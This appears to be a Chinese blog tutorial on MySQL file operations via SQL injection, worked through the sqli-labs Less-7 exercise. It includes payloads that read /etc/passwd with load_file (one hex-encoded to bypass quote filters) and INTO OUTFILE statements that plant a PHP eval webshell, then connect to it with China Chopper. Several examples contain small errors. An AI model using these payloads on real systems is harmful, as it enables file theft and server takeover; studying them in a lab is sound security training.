您的位置:首页 > 数据库 > MySQL

⑧Mysql导入导出相关操作

2016-11-12 20:00 323 查看

mysql导入导出操作

load_file() 函数读文件操作

load_file(file_name)
函数的作用是读取磁盘文件,并返回该文件的内容作为一个字符串。

load_file(file_name)
函数使用条件:

必须有权限读取并且文件必须完全可读。

and (select count(*) from mysql.user)>0/*
如果结果返回正常,说明具有读写权限。

and (select count(*) from mysql.user)>0/*
返回错误,应该是管理员给数据库帐户降权。

欲读取文件必须在服务器上。

必须指定文件完整的路径。

欲读取文件必须小于
max_allowed_packet


如果上述任何一个条件不满足,函数返回空null。

上述四个条件中,最难满足的就是权限这一条件。

SQL语句如下:

union select 1 , load_file('/etc/passwd') , 3 , 4 , 5 , 6 %23


如果程序防注入语句不允许出现单引号,可以使用以下语句绕过:

union select 1 , load_file(0x2F6563742F706173737764) , 3 , 4 , 5 , 6 %23


0x2F6563742F706173737764是/etc/passwd的十六进制转换的结果。

into outfile写文件操作

load_file()
函数一样,
into outfile
可以向磁盘写入文件。

select something into outfile 'file_name'


要求如下:

file_name
文件被创建到服务器主机上,因此我们必须拥有 FILE权限。

file_name
文件不能是一个已经存在的文件,且文件路径必须是一个全路径名称。

写入文件:

select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php'


select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php'


select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php”


Less-7

我们以less-7为例来学习mysql文件导入导出操作。

Less-7比较特殊,首先我们查看源码。

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";


所以我们需要对对 id 参数进行了 ‘))的处理。

之前的
ORDER BY NUM
UNION
等操作我们这里就不做介绍了。

我们直接执行into outfile写文件操作。



如图所示,我们成功在磁盘下创建了
xiong.txt
文件。

我们写入了一句话木马在文件中,然后直接连接菜刀即可。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  sql注入